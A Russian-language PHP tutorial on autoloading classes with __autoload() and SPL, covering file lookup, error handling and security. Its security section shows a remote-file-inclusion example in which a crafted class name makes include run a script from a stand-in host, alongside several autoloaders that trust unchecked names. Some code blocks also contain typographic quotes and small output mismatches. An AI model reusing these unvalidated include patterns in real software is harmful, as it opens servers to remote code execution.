Антон Гришан
Автоматическая загрузка объектов в PHP
Автоматическая загрузка объектов – полезная возможность, появившаяся в PHP, позволяет более комфортно работать с большими проектами, экономя процессорное время, а самое главное – время разработчика.
Суть проблемы
В объектно ориентированном программировании широко используется подход, при котором каждый класс хранится в отдельном файле. С ростом проекта увеличивается и количество файлов. В средних проектах число файлов может достигать нескольких сотен, а в крупных счет идет на тысячи. Такое количество файлов порождает множество проблем.
- Для обработки различных запросов требуются различные наборы классов. Чтобы отобразить главную страницу, нужны одни классы, а для генерации RSS-канала – другие. Разработчик должен следить за тем, чтобы все необходимые классы были доступны.
- При наличии большого количества классов трудно подключать только те, которые необходимы для обработки пользовательского запроса. В таких случаях разработчики создают отдельный файл (например, include.php), в котором осуществляют подключение всех классов, входящих в проект. С одной стороны, это решает проблему наличия необходимых классов, но с другой стороны, подключается множество классов, которые не будут использованы для обработки запроса. Например, если в приложении объявлено 1000 классов, а для отображения главной страницы требуется только 20, то нет необходимости тратить ресурсы на загрузку остальных 980 классов.
- Добавление, удаление, перемещение файла требует изменения всех фрагментов кода, в которых осуществляется подключение файла.
Таким образом, необходимо построить систему, позволяющую автоматически загружать только классы, необходимые для обработки пользовательского запроса.
Автоматизация загрузки объектов
В основе автоматической загрузки объектов лежит простая идея – если интерпретатор PHP видит, что для продолжения исполнения приложения не хватает объявления класса (или интерфейса), то пусть приложение его загрузит и продолжит работу. Такой подход позволяет:
- избавить разработчика от необходимости следить за списком подключаемых файлов;
- повысить производительность приложения за счет экономии процессорного времени и памяти на загрузке неиспользуемых классов.
Реализация идеи выглядит следующим образом: интерпретатор передает имя недостающего класса приложению по средствам вызова определенной разработчиком функции автозагрузчика. По умолчанию в качестве автозагрузчика используется магическая функция __autoload(). Задача разработчика – заложить в функцию-автозагрузчик алгоритм, решающий следующие задачи:
- преобразование имени класса в путь к файлу;
- подключение требуемого файла;
- обработка ситуации, при которой не удаётся подключить файл.
Рассмотрим подробнее аспекты реализации автоматической загрузки объектов в PHP.
Поиск загружаемого файла
Соблюдение единого правила именования объектов существенно упрощает задачу поиска файла. Будем считать, что искомый файл существует, а ситуацию, при которой не удается подключить файл, обсудим в следующем разделе. Ознакомимся с тремя наиболее популярными подходами для решения данной задачи.
Хранение путей к файлам в ассоциативном массиве
Можно создать ассоциативный массив, хранящий в качестве ключа – имя класса, а в качестве значения – путь к файлу. Пример:
<?php
function __autoload($className) {
// Список файлов, которые необходимо подключить
$files = array(
‘User’ => ‘/home/web/html/classes/user.php’,
‘DBDriver’ => ‘/home/web/html/classes/DB/mysql.php’,
);
// подключаем нужный файл
include $files[$className];
}
?>
Для повышения эффективности можно вынести создание массива $files за рамки функции __autoload() и сэкономить время на создание массива при каждом вызове автозагрузчика.
Преимущества:
- не требует соблюдения правила именования файлов/классов;
- высокое быстродействие;
- позволяет подключать только те файлы, которые действительно принадлежат проекту (т.е. перечислены в ассоциативном массиве), что положительно сказывается на безопасности.
Недостатки:
- в случае добавления, переименования, переноса или удаления класса потребуется обновление списка подключаемых файлов.
Построение пути к файлу по имени класса
Можно использовать правило именования файлов, позволяющее извлекать путь до файла по имени класса. Рассмотрим реализацию данной идеи на базе одного из возможных правил именования файлов: путь к файлу, содержащему определение класса AAA_BBB_CCC, имеет вид classes/AAA/BBB/CCC.php. Зная это правило, в автозагрузчике легко по имени класса построить путь до файла. Пример кода:
<?php
function __autoload($className) {
// Извлекаем путь до файла из имени класса
$classNameWithPath = str_replace(‘_’, ‘/’, $className).’.php’;
include ‘classes/’.$classNameWithPath;
}
?>
Преимущества:
- не требует хранения пути до каждого файла, задействованного в проекте;
- добавление, переименование и удаление классов не требует модификации автозагрузчика.
Недостатки:
- жестко привязывает имя класса к имени папки, в которой он хранится, в случае необходимости переноса файла в другую папку потребуется переименование класса, что повлечет за собой модификацию всего приложения;
- неудобные, длинные имена классов.
Поиск загружаемого файла в директориях приложения
В отличие от предыдущего способа нет необходимости извлекать полный путь до файла. Достаточно иметь возможность по имени класса узнать имя файла. Наиболее популярное и логичное решение: имя класса совпадает с именем файла (без .php). Рассмотрим пример реализации:
<?php
function __autoload($className) {
// Папки, содержащие классы приложения
$appFolders = array(
‘/home/web/html/classes/’,
‘/home/web/html/classes/commands/’,
‘/home/web/html/classes/output/’,
);
// Проверяем каждую папку на наличие нужного файла
foreach($appFolders as $appFolder) {
// Строим полный путь до нужного файла
$filePath = $appFolder. $className.’.php’;
// Проверим существование файла
if(file_exists($filePath)) {
// Подключаем файл
include $filePath;
break;
}
}
}
?>
Можно воспользоваться стандартным механизмом PHP для поиска подключаемых файлов. При вызове функции include PHP пытается найти нужный файл в одной из папок, заданных в параметре include_path конфигурационного файла php.ini. Таким образом, если добавить в этот параметр пути к папкам, хранящим файлы приложения, то код автозагрузчика может выглядеть следующим образом:
<?php
function __autoload($className) {
// Имя класса совпадает с именем файла без .php
include $className.'.php';
}
?>
Преимущества:
- простые и понятные имена классов;
- не требует хранения пути до каждого файла, задействованного в проекте, поэтому добавление, переименование и удаление классов не требует модификации автозагрузчика.
Недостатки:
- для загрузки класса необходимо проверить каждую папку на предмет наличия требуемого файла, что требует некоторого количества времени;
- существует возможность подключения файла, не относящегося к проекту, что негативно сказывается на безопасности.
Каждый из предложенных способов имеет свои достоинства и недостатки, поэтому при выборе того или иного решения необходимо учитывать особенности разрабатываемого проекта.
Подключение файла
PHP поддерживает несколько вариантов подключения файлов – include(), include_once(), require() и require_once(). Выберем оптимальный способ для использования в автозагрузчике.
При использовании операторов include_once и require_once подключение файла происходит только в том случае, если файл не загружен ранее. Вызов автозагрузчика свидетельствует об отсутствии требуемого класса, а значит и файл не был ранее подключен, поэтому использование include_once и require_once в автозагрузчике не имеет смысла.
Оператор require() подразумевает прекращение работы приложения в случае отсутствия загружаемого файла, что нежелательно. Таким образом, оптимальным выбором является функция include().
Объект не может быть загружен
Автоматическая загрузка объекта не увенчается успехом, если требующийся файл не будет найден. Одна из возможных реакций на данную ситуацию – генерация исключения.
<?php
// Перехватываем исключения, которые не были пойманы в блоках catch
function exception_handler($exception) {
echo "Uncaught exception: ?
".$exception->getMessage();
}
set_exception_handler('exception_handler');
function __autoload($className) {
// Класс не существует, поэтому файл не может быть найден
if((@include $className.'.php') === false) {
throw new Exception('Error: can\'t find class '.$className);
}
}
// Пытаемся создать объект не объявленного класса
try {
$obj = new AnyNonExistantClass();
} catch (Exception $e){
var_dump($e);
}
?>
Если файл AnyNonExistantClass.php отсутствует, то функция __autoload() генерирует исключение, приводящее к досрочному выходу из автозагрузчика. Исключения, сгенерированные в функции __autoload, не могут быть перехвачены в блоке catch или в функции exception_handler, поэтому исполнение данного кода завершится с ошибкой:
Fatal error: Class 'AnyNonExistantClass' not found in
/home/webdav/html/test_1.php on line 21
|
В Интернете есть описание трюка, позволяющего обойти данное ограничение, суть которого заключается в использовании функции eval() для создания недостающего класса в момент исполнения приложения. В конструкторе класса происходит генерация исключения.
Пример реализации:
<?php
function __autoload($className) {
if((@include $className.'.php') === false) {
// Создадим класс, который не можем найти и сгенерируем исключение в конструкторе
eval("class ".$className." {function __construct() {throw new Exception('Class ".$className." not found');}}");
}
}
try {
$obj = new AnyNonExistantClass();
} catch (Exception $e){
// Исключение успешно перехвачено
var_dump($e);
}
?>
Использование подобных решений приводит к появлению множества ошибок и губительно для проекта по следующим причинам:
- данный трюк работает только при создании объекта не объявленного класса, во всех остальных случаях данный прием бесполезен;
- функция class_exists(), используемая для проверки существования класса, всегда будет возвращать значение true, кроме того, возможны проблемы при работе с Reflection API, что чревато появлением ошибок.
Но так ли необходимо в __autoload() генерировать исключение в случае отсутствия файла? Ответ – нет! Дело в том, что отсутствие класса, имя которого передано в автозагрузчик, не является исключительной ситуацией. Причиной вызова автозагрузчика может быть необходимость проверки существования того или иного с помощью class_exists() или Reflection API. При необходимости генерировать исключение, в случае попытки создания объекта несуществующего класса лучше использовать следующий прием:
<?php
function getBalance($currencyCode) {
$className = 'Balance'.$currencyCode;
if(class_exists($className)) {
return new $className();
} else {
throw new Exception('Class not exist: '.$className);
}
}
// Создадим объект класса BalanceUSD
$balance = getBalance('USD');
?>
В приведенном выше примере имя класса зависит от кода валюты, поэтому функция getBalance() может вернуть объект класса BalanceUSD, BalanceEUR или BalanceRUB. Если класс не существует, генерируется исключение. Данный метод предлагает надежный способ загрузки объектов, построенный на четкой логике без использования трюков, и не имеет побочных эффектов.
Таким образом, лучшей реакцией на отсутствие подключаемого файла в __autoload() является – бездействие.
Цепочка автозагрузчиков
Иногда в приложениях требуется определить несколько автозагрузчиков. Например, если необходимо разработать модуль, который должен работать в составе приложения, в котором уже объявлена функция __autoload(), то разработчик не сможет определить собственную функцию __autoload() для подключения классов модуля.
Для решения данной проблемы можно воспользоваться библиотекой SPL (Standard PHP Library), предлагающей набор функций, позволяющих управлять автозагрузчиками.
Библиотека SPL предлагает коллекцию классов, интерфейсов, функций, способствующих решению стандартных проблем в PHP. Данная библиотека появилась в пятой версии языка, доступна по умолчанию.
Рассмотрим пример использования SPL-функций для управления автозагрузчиками:
<?php
function __autoload($className) {
echo "Try to include [".$className."] in __autoload\n";
}
function loader1($className) {
echo "Try to load [".$className."] in loader1\n";
}
function loader2($className) {
echo "Try to load [".$className."] in loader2\n";
}
function loader3($className) {
echo "Try to load [".$className."] in loader3\n";
}
// Список автозагрузчиков ДО вызова spl_autoload_register
$loaders = spl_autoload_functions();
echo "\nСписок автозагрузчиков ДО вызова spl_autoload_register():\n";
foreach($loaders as $loader) {
echo $loader."()\n";
}
// Регистрируем собственные функции автозагрузки
spl_autoload_register('loader1');
spl_autoload_register('loader2');
spl_autoload_register('loader3');
// Попробуем зарегистрировать loader3 еще раз
spl_autoload_register('loader3');
// Список автозагрузчиков ПОСЛЕ вызова spl_autoload_register
$loaders = spl_autoload_functions();
echo "\nСписок автозагрузчиков ПОСЛЕ вызова spl_autoload_register():\n";
foreach($loaders as $loader) {
echo $loader."()\n";
}
echo "\nПопытаемся создать объект несуществующего класса AnyNonExistantClass()\n";
$obj = new AnyNonExistantClass();
?>
В результате исполнения приведенного выше кода выводится следующий текст:
Список автозагрузчиков ДО вызова spl_autoload_register():
__autoload()
Список автозагрузчиков ПОСЛЕ вызова spl_autoload_register():
loader1()
loader2()
loader3()
Попытаемся создать объект несуществующего класса AnyNonExistantClass()
Try to include [AnyNonExistantClass] in loader1
Try to include [AnyNonExistantClass] in loader2
Try to include [AnyNonExistantClass] in loader3
<br />
<b>Fatal error</b>: Class 'AnyNonExistantClass' not found in
<b>/home/webdav/html/example.php</b> on line <b>39</b><br />
|
Проанализируем полученный результат. В коде объявлены четыре функции __autoload(), loader1(), loader2(), loader3(). С помощью функции spl_autoload_functions() извлекаем список существующих автозагрузчиков. При первом вызове функция вернет массив из одного элемента, содержащий имя функции __autoload(), являющейся автозагрузчиком по умолчанию.
Затем с помощью spl_autoload_register() зарегистрируем собственные функции – loader1(), loader2(), loader3() в качестве автозагрузчиков. Порядок регистрации функций влияет на порядок их вызова. При попытке загрузить объект интерпретатор передаст имя класса в функцию loader1(), если функция не сможет подключить требуемый класс, PHP обратится к loader2(), затем, если потребуется, к loader3(). Если ни один из автозагрузчиков не сумеет подключить требующийся класс, приложение завершится с ошибкой.
Извлечем список объявленных автозагрузчиков повторно и посмотрим, какие изменения произошли. В этот раз в списке существующих автозагрузчиков появились loader1(), loader2(), loader3(), но исчезла функция __autoload(). Дело в том, что после первого вызова spl_autoload_register() функция __autoload() удаляется из списка автозагрузчиков. При необходимости функцию __autoload() можно вернуть в список автозагрузчиков с помощью команды spl_autoload_register('__autoload'). Данная особенность позволяет разработчику определять порядок вызова автозагрузчиков.
В приведенном примере функция __autoload() не зарегистрирована как автозагрузчик, поэтому при попытке создать объект класса AnyNonExistantClass последовательно осуществляется вызов loader1(), loader2(), loader3() и не происходит обращения к __autoload().
Таким образом, если в приложении существует __autoload() и требуется зарегистрировать дополнительный загрузчик, нужно позаботиться о повторной регистрации __autoload().
Безопасность
При использовании автозагрузчика необходимо позаботиться о следующих аспектах безопасности:
- Подключать только принадлежащие проекту файлы. Если злоумышленник сумеет загрузить файл в папку, из которой осуществляется автоматическое подключение классов, то получит возможность исполнять PHP-код на сервере.
- Проверка имени класса. В качестве параметров функции __autoload() может быть передано любое значение, поэтому использование полученного значения для построения пути к подключаемому файлу без предварительной проверки крайне опасно. Пример:
<?php
function __autoload($class) {
// Строим на базе имени класса путь до файла
$classFileName = $class.'.php';
// Подключение скрипта http://www.haker.tld/script.php
@include $classFileName;
}
$className = 'http://www.haker.tld/script';
$object = new $className();
?>
Для повышения уровня безопасности необходимо проверять поступающие в автозагрузчик значения параметра на соответствие формату имени класса:
<?php
function __autoload($className) {
// Проверяем имя класса
if(!preg_match('/^[a-z][a-z_0-9]*$/i', $className)) {
die('Попытка взлома!!!');
}
@include($className.'.php');
}
?>
В приведенном выше примере если значение параметра не является именем класса, то происходит завершение работы программы. В реальном приложении необходимо известить администратора о возникшей проблеме с указанием полной информации о пользователе, чьи действия привели к возникновению подобной ситуации, скорее всего осуществлена попытка взлома.
Пример реализации
Рассмотрим пример реализации автоматической загрузки объектов с учетом принятого правила именования классов/файлов, при котором имя класса совпадает с именем файла. Например, класс с именем User должен находиться в файле User.php.
<?php
// Путь от корня до папки с приложением
define('APP_ROOT_PATH', '/home/web/');
/* Перечислим все папки приложения, в которых следует искать объект для подключения */
$addToIncludePath = array(
'classes/CommonLib/Exception',
'classes/CommonLib/Db',
'classes/PresentationLayer/Actions',
'classes/PresentationLayer/Outputs',
'classes/PresentationLayer/Views',
);
/* Добавим папки приложения в 'include_path', чтобы оператор include искал подключаемый файл
* в директориях приложения */
ini_set('include_path', ini_get('include_path').PATH_SEPARATOR.APP_ROOT_PATH.DIRECTORY_SEPARATOR. \
implode(PATH_SEPARATOR.APP_ROOT_PATH.DIRECTORY_SEPARATOR, $addToIncludePath));
// Определим функцию автоматической загрузки объектов
function __autoload($className) {
// Проверяем $className на соответствие формату имени класса
if(!preg_match('/^[a-z][a-z_0-9]*$/i', $className)) {
throw new SecurityException('Invalid class name format! Attempt to load ['.$className.'] class!');
}
// Подключаем класс, в случае отсутствия файла ничего не делаем
@include($className.'.php');
}
?>
В приведенном примере список директорий, содержащих объявления используемых в ходе исполнения приложения классов, перечислен в массиве $addToIncludePath. Приложение с помощью оператора ini_set() добавляет список директорий из $addToIncludePath в директиву include_path. Таким образом, при каждом вызове include, PHP будет автоматически проверять все папки, перечисленные в include_path, на наличие требуемого файла.
Внутри функции __autoload() осуществляется проверка полученного значения ($className), если значение не удовлетворяет формату имени класса, то генерируется исключение типа SecurityException(), задача которого предупредить администратора о попытке атаки и аварийно завершить исполнение приложения.
Если в качестве параметра передано имя класса, то пытаемся подключить нужный файл с помощью оператора include, который осуществит поиск файла во всех папках, перечисленных в директиве include_path. Если файл не существует, то функция include вернет значение false и сгенерирует предупреждение, что нежелательно, поэтому для подавления возникающих предупреждений воспользуемся оператором «@».
Заключение
Функции автозагрузки упрощают разработку приложения, делают код понятным и лаконичным, повышают производительность за счет загрузки минимального количества необходимых объектов. Однако автозагрузка не является волшебной палочкой, решающей все проблемы проекта. Ключевой фактор эффективного и безопасного использования данного инструмента – опыт разработчика.
- Автоматическая загрузка объектов – http://ru.php.net/manual/ru/language.oop5.autoload.php.
- Функции библиотеки SPL для расширения возможности автозагрузки – http://ru.php.net/manual/ru/function.spl-autoload.php.
- Функция для регистрации собственных автозагрузчиков – http://ru.php.net/manual/en/function.spl-autoload-register.php.